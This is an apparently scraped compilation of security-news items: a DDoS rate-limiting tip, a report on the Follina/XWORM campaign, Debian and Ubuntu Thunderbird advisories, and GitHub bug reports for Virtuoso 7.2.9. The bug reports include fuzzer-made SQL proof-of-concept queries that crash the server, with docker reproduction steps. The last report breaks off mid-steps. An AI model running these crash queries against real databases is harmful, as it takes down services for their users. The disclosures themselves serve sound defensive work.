This Tech Tip demonstrates how security engineers can best use rate limits to mitigate distributed denial-of-service attacks.

Distributed denial-of-service (DDoS) attacks are growing in frequency and sophistication, thanks to the number of attack tools available for a couple of dollars on the Dark Web and criminal marketplaces. Numerous organizations became victims in 2022, from the Port of London Authority to Ukraine's national postal service.

Security leaders are already combating DDoS attacks by monitoring network traffic patterns, implementing firewalls, and using content delivery networks (CDNs) to distribute traffic across multiple servers. But putting more security controls in place can also result in more DDoS false positives — legitimate traffic that's not part of an attack but still requires analysts to take steps to mitigate before it causes service disruptions and brand damage.

Rate limiting is often considered the best method for efficient DDoS mitigation: URL-specific rate limiting prevents 47% of DDoS attacks, according to Indusface's "State of Application Security Q4 2022" report. However, the reality is that few engineering leaders know how to use it effectively. Here's how to employ rate limiting effectively while avoiding false positives.

**Understand Expected Network Traffic and Vulnerabilities**

Engineering leaders often find it difficult to implement rate limiting as a DDoS mitigation tool because they don't know what thresholds to set. The first step is to answer the following questions:

*   How many users visit your application every minute?
*   How many report/dashboard actions can your application handle? Is that the same for a reset password page?
*   Since server load on dashboards tends to be high, could a lower rate limit block legitimate users trying to access a cheaper resource, such as a profile page, for example?

Going over 100 requests in one minute on a login page could be enough to take the server down, while a product page might have no trouble handling 300 requests in a minute. That's why it is useful to know the threshold of network traffic for each URL within each application.

Network monitoring tools, log files, and buffer capacity can help teams develop accurate baseline network traffic models and manage incoming and outgoing data flow. Suppose you ran a Christmas holiday campaign over 30 days, and the request limit was 300 per minute. To clearly understand the expected network traffic, the security and DevOps teams need to know two things: How many requests were made each minute on average? And if there were 480 requests in one minute, does the team get an alert to check that it was legitimate traffic?

Having granular details on IP, host, domain, and URI vulnerabilities means teams can act more quickly to thwart DDoS attacks.

Numerous security teams have been surprised to receive alerts about attacks targeting their human resource management systems, not just consumer-facing business websites. It is vital to be aware of all the potential applications targeted by DDoS attacks to reduce false alarms.

**Implement Custom Rate Limits on Various Parameters**

Security teams want around-the-clock application availability and are relying on managed services to get more value from DDoS mitigation software. In-built DDoS scrubbers help security leaders go beyond static rate limits and customize rules based on the behavior of inbound traffic received by host, IP, URL, and geography.

So what should cybersecurity teams know about rate limits?

*   Never do rate limits on the domain level (e.g., acme.com). Hundreds of URLs get added to the domain, which lowers the per-page requests needed to trigger the rate limit. This can cause unnecessary blocking of legitimate requests or, if you compensate by raising the rate limits overall, allow too many malicious requests to pass through.
*   Set rate limits on the URL (e.g., acme.com/login) to control which customers can access a particular URL or set of URLs. Cybersecurity teams can set rate limits differently for each URL, and a server may block requests if the number exceeds the rate limit.
*   Customize the rate of requests on a session level (the time logged in) to detect unusual behavior that may indicate malicious activity and thus prevent servers from being overwhelmed. For example, if a user opens acme.com 100 times a minute, that's not normal behavior.
*   Monitor rate limits at an IP level to limit the number of requests or connections from a particular IP address. IP blacklisting — adding known malicious actors or sources to a blacklist — makes it easier for website owners to block traffic from IP addresses known to be involved in DDoS attacks.
*   Implement geographical rate limiting. Security leaders need to quickly examine IP address reputations and geolocation data to verify the source of traffic. As a best practice, I recommend teams implement geofencing as a standard for all local applications.

By using the above methods, application owners end up setting more granular rate limits by using system recommendations based on user behavior. This — in conjunction with using DDoS mitigation mechanisms, such as tarpitting and CAPTCHA, before blocking requests — can minimize false positives to the maximum extent possible.

Cybersecurity decision-makers must take a multilayered approach to protection by having a clear understanding of network traffic patterns and using fully managed platforms to set rate limits for threat intelligence.

Break the DDoS Attack Loop With Rate Limiting

A two-bit comedian is using a patched Microsoft vulnerability to attack the hospitality industry, and really laying it on thick along the way.

A threat actor is exploiting last year's Follina (RCE) remote code execution vulnerability to deploy the XWORM remote access trojan (RAT) and data-stealer against targets in the hospitality industry.

On May 12, researchers from Securonix broke down the campaign, which uses Follina to drop Powershell code onto target machines, which is rife with various 4Chan and meme references. Thus, the researchers refer to the campaign as "MEME#4CHAN," due to the amorphous line it draws between stealth and internet humor.

**The MEME#4CHAN Attack Flow**

MEME#4CHAN attacks begin with a phishing email, with a hospitality hook in the subject line — something like "Reservation for Room." Attached will be a Microsoft Word document furthering the theme, such as "Details for booking.docx."

Once a victim clicks on the document, they're presented with a dialogue box: "This document contains links that may refer to other files. Do you want to update this document with the data from the linked files?" But regardless of whether they click "Yes" or "No," a Word document opens, containing stolen images of a French driver's license and debit card.

The choice of a .docx file is notable. Hackers often used to use malicious macros in Office files to gain a foothold in a target machine, which isn't as effective of a tactic now that Microsoft decided to block macros from Internet files by default.

Without that option, MEME#4CHAN instead turns to Follina. Follina (CVE-2022-30190) is an RCE vulnerability that carries a "high" CVSS score of 7.8. It allows attackers to create specially-crafted Microsoft Word files that trick Microsoft's Diagnostic Support Tool into downloading and executing malicious code from an attacker-controlled server. The bug was disclosed and patched a year ago.

Through Follina, MEME#4CHAN downloads an obfuscated Powershell script once the Word document is opened. The script is notable for its labored references, memes, and uninspiring jokes. The author laments at multiple points "why my ex left me," for example, and gives directories, variables, and functions such names as "mememan," "shakalakaboomboom," and "stepsishelpme."

The jokes might be considered a unique stealth tactic, designed to instantly repel any researcher of good taste. But Securonix researchers noted that the attack uses other more traditional obfuscation as well.

In fact, the researchers found variables in the Powershell code ranging from "semi-" to "heavily" obfuscated they said, including a "heavily obfuscated" .NET binary which, once decoded, revealed itself as the XWORM RAT.

"The relative amount of effort invested into obfuscation and covertness is higher than for the similar attacks we observed," says Oleg Kolesnikov, vice president of threat research and detection at Securonix, "and it is not yet clear why."

**What Is XWORM?**

XWORM is a bit of a Swiss Army knife of a RAT.

On one hand, it does RAT things — checking for antivirus, communicating with a command-and-control (C2) server, opening a backdoor to a machine, and creating an autorun entry to ensure persistence across restarts.

At the same time, it comes replete with espionage features, including capabilities for accessing a device's microphone and camera, and keylogging; and it can instigate follow-on attacks like distributed denial of service (DDoS) or even ransomware.

That said, the malware is of dubious quality, some note.

Multiple iterations of XWORM have been leaked online in recent months, including a 3.1 version just last month. The individual who published the 3.1 code to GitHub didn't appear to hold it in high regard.

"There are so many sh\*tty Rat \[sic\], XWorm is one of them. I'm sharing it so that you don't pay for such things for nothing," the person wrote in a README file.

"Compared to some of the other similar underground attack tools for which source code was leaked recently," Kolesnikov judges, "XWORM does appear to have arguably somewhat less advanced capabilities, though \[it's usefulness\] often depends on the specific capability \[required\]. It depends on how the malicious threat actors use the tool as part of an attack."

**Which Cybercriminals Are Behind MEME#4CHAN?**

According to the researchers, it's likely the author behind MEME#4CHAN is English-speaking, due to all the 4Chan references in their code.

Dark Reading also independently observed several variables in the code referencing Indian cultural touchpoints, indicating either that the hacker is of Indian origin, or familiar enough with Indian culture to fake it.

Taking further evidence into account adds color and cloudiness to the attribution picture. "The attack methodology is similar to that of TA558, a cybercriminal gang, where phishing emails were delivered targeting the hospitality industry," the Securonix researchers explained.

He added, however, that "TA558 also typically uses a wide range of C2 campaign artifacts and payloads similar, but not positively in line with what we witnessed through the MEME#4CHAN campaign."

Whoever's behind it, it doesn't appear that this campaign is over with, as several of its associated C2 domains are still active.

The researchers recommended that to avoid becoming potential victims, organizations should avoid opening any unexpected attachments, watch out for malicious file hosting websites, and implement log anomaly detection and application whitelisting.

Microsoft Follina Bug Is Back in Meme-Themed Cyberattacks Against Travel Orgs

Debian Linux Security Advisory 5403-1 - Multiple security issues were discovered in Thunderbird, which could result in denial of service or the execution of arbitrary code.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5403-1                   security@debian.org  
https://www.debian.org/security/                     Salvatore Bonaccorso  
May 14, 2023                          https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : thunderbird  
CVE ID         : CVE-2023-32205 CVE-2023-32206 CVE-2023-32207 CVE-2023-32211   
                 CVE-2023-32212 CVE-2023-32213 CVE-2023-32215

Multiple security issues were discovered in Thunderbird, which could  
result in denial of service or the execution of arbitrary code.

For the stable distribution (bullseye), these problems have been fixed in  
version 1:102.11.0-1~deb11u1.

We recommend that you upgrade your thunderbird packages.

For the detailed security status of thunderbird please refer to its  
security tracker page at:  
https://security-tracker.debian.org/tracker/thunderbird

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmRhMc9fFIAAAAAALgAo  
aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2  
NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND  
z0QQgw/9GxNcer8MiXFdQY+lYrRTVxNy2AqwhHz65PFypIRD9h24drCYdzsyFlhE  
bxlr/SqGIuHNZX4B84XIoC079BFp9PsX8lazDteyx5JOKmUMkrXxf1LFsLP/GuWw  
2NtsMp0njJry4FNAnw7hcqtYe+Tyg5ooxmkohAYAedsnLz+tM2gdV3OcKYufy3BB  
PJBa8O8f1Lf/X1ssn2Bt5OTAU5VT99LcCiuq63T/uN3D7mG5QW4q4ApqFJ+l2cF4  
KCP6Q8ITKbZDnDBIp8k1pFfqpEEV2gChYDIW8BXxMqfLWi37E/chhD/xzhG1BNc1  
1JPdjYbB2up1tT6IAYmB/qodb5sZpBEoRwOQLmViJzNItlC9u4h5ppR0oQR0R9AL  
6gcDo2gDWE5wOSqVfoGrzgUl9FyxgDMppl4HzXNzP6qZ5fkCEvKAVcGvMuNy0rAt  
T4Aw5jNl0ePTurCU+zMM8EGdQTqCaEjDnIawfAaEMtv5Hb/wXP8KPPCU8mouUO/E  
iOlQfZS7bqBeZQZgADfnZx3pXQmDYB3fdb0BTsjnD4PJMtpR5YkAJPhAQEkO/ul/  
emNwPVc6G5Ly5k92XVKXeomW1nUugqLKmxyo5eHPgPa4/HJfPWayb5v7XSUIs8T2  
nZo4Zu7CQrQGNghVxY3RlKjfdQ38ty5s3RW4bIlp5RZMmuv59ds=  
=WOGd  
-----END PGP SIGNATURE-----

Debian Security Advisory 5403-1

Ubuntu Security Notice 6075-1 - Multiple security issues were discovered in Thunderbird. If a user were tricked into opening a specially crafted website in a browsing context, an attacker could potentially exploit these to cause a denial of service, obtain sensitive information, bypass security restrictions, cross-site tracing, or execute arbitrary code. Irvan Kurniawan discovered that Thunderbird did not properly manage memory when using RLBox Expat driver. An attacker could potentially exploits this issue to cause a denial of service.

    ==========================================================================Ubuntu Security Notice USN-6075-1May 15, 2023thunderbird vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 23.04- Ubuntu 22.10- Ubuntu 22.04 LTS- Ubuntu 20.04 LTS- Ubuntu 18.04 LTSSummary:Several security issues were fixed in Thunderbird.Software Description:- thunderbird: Mozilla Open Source mail and newsgroup clientDetails:Multiple security issues were discovered in Thunderbird. If a user weretricked into opening a specially crafted website in a browsing context, anattacker could potentially exploit these to cause a denial of service,obtain sensitive information, bypass security restrictions, cross-sitetracing, or execute arbitrary code. (CVE-2023-32205, CVE-2023-32207,CVE-2023-32211, CVE-2023-32212, CVE-2023-32213, CVE-2023-32215)Irvan Kurniawan discovered that Thunderbird did not properly manage memorywhen using RLBox Expat driver. An attacker could potentially exploits thisissue to cause a denial of service. (CVE-2023-32206)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 23.04:  thunderbird                     1:102.11.0+build1-0ubuntu0.23.04.1Ubuntu 22.10:  thunderbird                     1:102.11.0+build1-0ubuntu0.22.10.1Ubuntu 22.04 LTS:  thunderbird                     1:102.11.0+build1-0ubuntu0.22.04.1Ubuntu 20.04 LTS:  thunderbird                     1:102.11.0+build1-0ubuntu0.20.04.1Ubuntu 18.04 LTS:  thunderbird                     1:102.11.0+build1-0ubuntu0.18.04.1In general, a standard system update will make all the necessary changes.References:  https://ubuntu.com/security/notices/USN-6075-1  CVE-2023-32205, CVE-2023-32206, CVE-2023-32207, CVE-2023-32211,  CVE-2023-32212, CVE-2023-32213, CVE-2023-32215Package Information:  https://launchpad.net/ubuntu/+source/thunderbird/1:102.11.0+build1-0ubuntu0.23.04.1  https://launchpad.net/ubuntu/+source/thunderbird/1:102.11.0+build1-0ubuntu0.22.10.1  https://launchpad.net/ubuntu/+source/thunderbird/1:102.11.0+build1-0ubuntu0.22.04.1  https://launchpad.net/ubuntu/+source/thunderbird/1:102.11.0+build1-0ubuntu0.20.04.1  https://launchpad.net/ubuntu/+source/thunderbird/1:102.11.0+build1-0ubuntu0.18.04.1

Ubuntu Security Notice USN-6075-1

An issue in the sqlc_union_dt_wrap component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

**virtuoso 7.2.9 crashed at sqlc\_union\_dt\_wrap #1136**

fuboat opened this issue

Apr 12, 2023

· 0 comments

**Comments**

The PoC is generated by my DBMS fuzzer.

SELECT SUM(v), COUNT(\*) FROM gstest\_empty
UNION ALL
SELECT SUM(v), NULL FROM gstest\_empty
UNION ALL
SELECT NULL, COUNT(\*) FROM gstest\_empty
UNION ALL
SELECT NULL, NULL

backtrace:

#0 0x81a65e (sqlc\_union\_dt\_wrap+0x5e)
#1 0x81a783 (sqlc\_union\_order+0x33)
#2 0x6b6f11 (sql\_stmt\_comp+0x511)
#3 0x6ba122 (sql\_compile\_1+0x1a62)
#4 0x7c8cd0 (stmt\_set\_query+0x340)
#5 0x7cabc2 (sf\_sql\_execute+0x922)
#6 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#7 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#8 0xe1f01c (future\_wrapper+0x3fc)
#9 0xe2691e (\_thread\_boot+0x11e)
#10 0x7f5244ae3609 (start\_thread+0xd9)
#11 0x7f52448b3133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

1 participant

CVE-2023-31618: virtuoso 7.2.9 crashed at sqlc_union_dt_wrap · Issue #1136 · openlink/virtuoso-opensource

An issue in the __libc_malloc component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1(x VARCHAR, k VARCHAR);
CREATE INDEX t1i1 ON t1(c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,c11,c12,c13,c14,c15,c16,c17,c18,c19,c20,c21,c22,c23,c24,c25,c26,c27,c28,c29,c30,c31,c32,c33,c34,c35,c36,c37,c38,c39,c40,c41,c42,c43,c44,c45,c46,c47,c48,c49,c50,c51,c52,c53,c54,c55,c56,c57,c58,c59,c60,c61,c62,c63,c64,c65,c66,c67,c68,c69,c70,c71,c72,c73,c74,c75,c76,c77,c78,c79,c80,c81,c82,c83,c84,c85,c86,c87,c88,c89,c90,c91,c92,c93,c94,c95,c96,c97,c98,c99,c100,c101,c102,c103,c104,c105,c106,c107,c108,c109,c110,c111,c112,c113,c114,c115,c116,c117,c118,c119,c120,c121,c122,c123,c124,c125,c126,c127,c128,c129,c130,c131,c132,c133,c134,c135,c136,c137,c138,c139,c140,c141,c142,c143,c144,c145,c146,c147,c148,c149,c150,c151,c152,c153,c154,c155,c156,c157,c158,c159,c160,c161,c162,c163,c164,c165,c166,c167,c168,c169,c170,c171,c172,c173,c174,c175,c176,c177,c178,c179,c180,c181,c182,c183,c184,c185,c186,c187,c188,c189,c190,c191,c192,c193,c194,c195,c196,c197,c198,c199,c200,c201,c202,c203,c204,c205,c206,c207,c208,c209,c210,c211,c212,c213,c214,c215,c216,c217,c218,c219,c220,c221,c222,c223,c224,c225,c226,c227,c228,c229,c230,c231,c232,c233,c234,c235,c236,c237,c238,c239,c240,c241,c242,c243,c244,c245,c246,c247,c248,c249,c250,c251,c252,c253,c254,c255,c256,c257,c258,c259,c260,c261,c262,c263,c264,c265,c266,c267,c268,c269,c270,c271,c272,c273,c274,c275,c276,c277,c278,c279,c280,c281,c282,c283,c284,c285,c286,c287,c288,c289,c290,c291,c292,c293,c294,c295,c296,c297,c298,c299,c300,c301,c302,c303,c304,c305,c306,c307,c308,c309,c310,c311,c312,c313,c314,c315,c316,c317,c318,c319,c320,c321,c322,c323,c324,c325,c326,c327,c328,c329,c330,c331,c332,c333,c334,c335,c336,c337,c338,c339,c340,c341,c342,c343,c344,c345,c346,c347,c348,c349,c350,c351,c352,c353,c354,c355,c356,c357,c358,c359,c360,c361,c362,c363,c364,c365,c366,c367,c368,c369,c370,c371,c372,c373,c374,c375,c376,c377,c378,c379,c380,c381,c382,c383,c384,c385,c386,c387,c388,c389,c390,c391,c392,c393,c394,c395,c396,c397,c398,c399,c400,c401,c402,c403,c404,c405,c406,c407,c408,c409,c410,c411,c412,c413,c414,c415,c416,c417,c418,c419,c420,c421,c422,c423,c424,c425,c426,c427,c428,c429,c430,c431,c432,c433,c434,c435,c436,c437,c438,c439,c440,c441,c442,c443,c444,c445,c446,c447,c448,c449,c450,c451,c452,c453,c454,c455,c456,c457,c458,c459,c460,c461,c462,c463,c464,c465,c466,c467,c468,c469,c470,c471,c472,c473,c474,c475,c476,c477,c478,c479,c480,c481,c482,c483,c484,c485,c486,c487,c488,c489,c490,c491,c492,c493,c494,c495,c496,c497,c498,c499,c500,c501,c502,c503,c504,c505,c506,c507,c508,c509,c510,c511,c512,c513,c514,c515,c516,c517,c518,c519,c520,c521,c522,c523,c524,c525,c526,c527,c528,c529,c530,c531,c532,c533,c534,c535,c536,c537,c538,c539,c540,c541,c542,c543,c544,c545,c546,c547,c548,c549,c550,c551,c552,c553,c554,c555,c556,c557,c558,c559,c560,c561,c562,c563,c564,c565,c566,c567,c568,c569,c570,c571,c572,c573,c574,c575,c576,c577,c578,c579,c580,c581,c582,c583,c584,c585,c586,c587,c588,c589,c590,c591,c592,c593,c594,c595,c596,c597,c598,c599,c600,c601,c602,c603,c604,c605,c606,c607,c608,c609,c610,c611,c612,c613,c614,c615,c616,c617,c618,c619,c620,c621,c622,c623,c624,c625,c626,c627,c628,c629,c630,c631,c632,c633,c634,c635,c636,c637,c638,c639,c640,c641,c642,c643,c644,c645,c646,c647,c648,c649,c650,c651,c652,c653,c654,c655,c656,c657,c658,c659,c660,c661,c662,c663,c664,c665,c666,c667,c668,c669,c670,c671,c672,c673,c674,c675,c676,c677,c678,c679,c680,c681,c682,c683,c684,c685,c686,c687,c688,c689,c690,c691,c692,c693,c694,c695,c696,c697,c698,c699,c700,c701,c702,c703,c704,c705,c706,c707,c708,c709,c710,c711,c712,c713,c714,c715,c716,c717,c718,c719,c720,c721,c722,c723,c724,c725,c726,c727,c728,c729,c730,c731,c732,c733,c734,c735,c736,c737,c738,c739,c740,c741,c742,c743,c744,c745,c746,c747,c748,c749,c750,c751,c752,c753,c754,c755,c756,c757,c758,c759,c760,c761,c762,c763,c764,c765,c766,c767,c768,c769,c770,c771,c772,c773,c774,c775,c776,c777,c778,c779,c780,c781,c782,c783,c784,c785,c786,c787,c788,c789,c790,c791,c792,c793,c794,c795,c796,c797,c798,c799,c800,c801,c802,c803,c804,c805,c806,c807,c808,c809,c810,c811,c812,c813,c814,c815,c816,c817,c818,c819,c820,c821,c822,c823,c824,c825,c826,c827,c828,c829,c830,c831,c832,c833,c834,c835,c836,c837,c838,c839,c840,c841,c842,c843,c844,c845,c846,c847,c848,c849,c850,c851,c852,c853,c854,c855,c856,c857,c858,c859,c860,c861,c862,c863,c864,c865,c866,c867,c868,c869,c870,c871,c872,c873,c874,c875,c876,c877,c878,c879,c880,c881,c882,c883,c884,c885,c886,c887,c888,c889,c890,c891,c892,c893,c894,c895,c896,c897,c898,c899,c900,c901,c902,c903,c904,c905,c906,c907,c908,c909,c910,c911,c912,c913,c914,c915,c916,c917,c918,c919,c920,c921,c922,c923,c924,c925,c926,c927,c928,c929,c930,c931,c932,c933,c934,c935,c936,c937,c938,c939,c940,c941,c942,c943,c944,c945,c946,c947,c948,c949,c950,c951,c952,c953,c954,c955,c956,c957,c958,c959,c960,c961,c962,c963,c964,c965,c966,c967,c968,c969,c970,c971,c972,c973,c974,c975,c976,c977,c978,c979,c980,c981,c982,c983,c984,c985,c986,c987,c988,c989,c990,c991,c992,c993,c994,c995,c996,c997,c998,c999,c1000);

backtrace:

#0 0x7f073bac91fe (\_\_libc\_malloc+0x11e)
#1 0xe1e59b (dk\_alloc\_reserve\_malloc+0x2b)
#2 0xde1ce0 (dk\_alloc+0x30)
#3 0xde4cc7 (dk\_alloc\_box+0x197)
#4 0x7c345b (qr\_rec\_exec+0xab)
#5 0x4d7c8d (ddl\_create\_key+0xad)
#6 0x7f07040db688 -- no symbol name found

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31607: virtuoso 7.2.9 crashed at __libc_malloc · Issue #1120 · openlink/virtuoso-opensource

An issue in the dfe_unit_col_loci component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE b (
      folders VARCHAR(80),
      folderid VARCHAR(80),
      parentid VARCHAR(80),
      rootid VARCHAR(80),
      c INTEGER,
      path VARCHAR(80),
      id VARCHAR(80),
      i VARCHAR(80),
      d VARCHAR(80),
      e VARCHAR(80),
      f VARCHAR(80)
    );
SELECT case b.d when coalesce((select max(17+coalesce((select max(coalesce((select (select count(distinct case f when 19 then coalesce((select coalesce((select max(11\-(abs(d)/abs(11))) from b where not  \-c in (19,b.d,17)),17) from b where (f in (d,f,b.c))),d) else d end) from b) from b where 17 between e and b.f),b.c)) from b where 13\>=e),d)) from b where b.f\>b.f),b.d) then 17 else b.f end FROM b WHERE not exists(select 1 from b where 13 between c+17 and (b.id));

backtrace:

#0 0x739343 (dfe\_unit\_col\_loci+0x1393)
#1 0x739030 (dfe\_unit\_col\_loci+0x1080)
#2 0x747e8c (sqlg\_top\_1+0x7c)
#3 0x70d4d4 (sqlo\_top\_select+0x164)
#4 0x6b72bf (sql\_stmt\_comp+0x8bf)
#5 0x6ba122 (sql\_compile\_1+0x1a62)
#6 0x7c8cd0 (stmt\_set\_query+0x340)
#7 0x7cabc2 (sf\_sql\_execute+0x922)
#8 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#9 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#10 0xe1f01c (future\_wrapper+0x3fc)
#11 0xe2691e (\_thread\_boot+0x11e)
#12 0x7fb2a20b9609 (start\_thread+0xd9)
#13 0x7fb2a1e89133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31609: virtuoso 7.2.9 crashed at dfe_unit_col_loci · Issue #1126 · openlink/virtuoso-opensource

An issue in the _IO_default_xsputn component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

**virtuoso 7.2.9 crashed at \_IO\_default\_xsputn #1118**

fuboat opened this issue

Apr 12, 2023

· 0 comments

**Comments**

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t2(x VARCHAR, y VARCHAR, c VARCHAR);
CREATE VIEW t2 AS SELECT \* FROM t2;
INSERT INTO t2 VALUES(8,8,RDF\_SYS.xsd\_hexBinary\_fromBinary(SYSTEM\_BASE64\_ENCODE(zeroblob(200))));

backtrace:

#0 0x7f87bcd56050 (\_IO\_default\_xsputn+0xa0)
#1 0x7f87bcd3b0fc (psiginfo+0x13c9c)
#2 0x7f87bcd4ff9a (vscanf+0x14a)
#3 0x7f87bcd25df6 (\_\_snprintf+0x96)
#4 0x5a2227 (sch\_full\_proc\_name\_1+0x2c7)
#5 0x7879a3 (sinv\_find\_func\_map+0x143)
#6 0x788fb7 (sinv\_check\_exp+0x317)
#7 0x78a03d (sinv\_sqlo\_check\_col\_val+0xad)
#8 0x816d50 (sqlc\_insert\_view+0x330)
#9 0x81721d (sqlc\_insert\_view+0x7fd)
#10 0x81721d (sqlc\_insert\_view+0x7fd)
...
#5714 0x81721d (sqlc\_insert\_view+0x7fd)
#5715 0x81721d (sqlc\_insert\_view+0x7fd)
#5716 0x81721d (sqlc\_insert\_view+0x7fd)
#5717 0x6b7387 (sql\_stmt\_comp+0x987)
#5718 0x6ba122 (sql\_compile\_1+0x1a62)
#5719 0x7c8cd0 (stmt\_set\_query+0x340)
#5720 0x7cabc2 (sf\_sql\_execute+0x922)
#5721 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#5722 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#5723 0xe1f01c (future\_wrapper+0x3fc)
#5724 0xe2691e (\_thread\_boot+0x11e)
#5725 0x7f87bd013609 (start\_thread+0xd9)
#5726 0x7f87bcde3133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

This was referenced

Apr 14, 2023

1 participant

CVE-2023-31610: virtuoso 7.2.9 crashed at _IO_default_xsputn · Issue #1118 · openlink/virtuoso-opensource

An issue in the dk_set_delete component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE b (
      folders VARCHAR(80),
      folderid VARCHAR(80),
      parentid VARCHAR(80),
      rootid VARCHAR(80),
      c INTEGER,
      path VARCHAR(80),
      id VARCHAR(80),
      i VARCHAR(80),
      d VARCHAR(80),
      e VARCHAR(80),
      f VARCHAR(80)
    );
SELECT  \-(coalesce((select max(coalesce((select b.f from b where not exists(select 1 from b where (abs(+rootid+19+19)/abs(b.rootid))<b.rootid) or 19+f\>=(select  \-max(19) from b)+b.f),b.e+b.f)\* \-b.e+19\-f) from b where (( \-b.id<19) or d\>=id)),b.id))\*id\*((b.rootid))\-17 FROM b WHERE NOT (b.e not between b.f\*id and b.f+ \-d);

backtrace:

#0 0xe05b99 (dk\_set\_delete+0x39)
#1 0x7ff2b5 (sqlg\_vec\_qns+0x365)
#2 0x7fcfc7 (cv\_vec\_slots+0x947)
#3 0x7fc563 (sqlg\_vec\_after\_test+0x1b3)
#4 0x80148f (qn\_vec\_slots+0x61f)
#5 0x7ff412 (sqlg\_vec\_qns+0x4c2)
#6 0x81464c (sqlg\_vector\_subq+0xdc)
#7 0x814d91 (sqlg\_vector+0x61)
#8 0x6baa15 (sql\_compile\_1+0x2355)
#9 0x7c8cd0 (stmt\_set\_query+0x340)
#10 0x7cabc2 (sf\_sql\_execute+0x922)
#11 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#12 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#13 0xe1f01c (future\_wrapper+0x3fc)
#14 0xe2691e (\_thread\_boot+0x11e)
#15 0x7fc16f67c609 (start\_thread+0xd9)
#16 0x7fc16f44c133 (clone+0x43)
#0 0xe10319 (gpf\_notice+0x209)
#1 0xde599f (dk\_free\_box+0x2df)
#2 0x6b35cc (fun\_ref\_free+0x4c)
#3 0x50498d (qr\_free+0x2ad)
#4 0x504a1c (qr\_free+0x33c)
#5 0x504a1c (qr\_free+0x33c)
#6 0x504a1c (qr\_free+0x33c)
#7 0x504a1c (qr\_free+0x33c)
#8 0x7c4def (cli\_scrap\_cached\_statements+0x41f)
#9 0x7c53f5 (client\_connection\_free+0x265)
#10 0x7c6365 (srv\_client\_connection\_died+0x205)
#11 0x7c652d (srv\_client\_session\_died+0x2d)
#12 0xe14dff (session\_is\_dead+0x6f)
#13 0xe1f3d0 (future\_wrapper+0x7b0)
#14 0xe2691e (\_thread\_boot+0x11e)
#15 0x7fefc040b609 (start\_thread+0xd9)
#16 0x7fefc01db133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
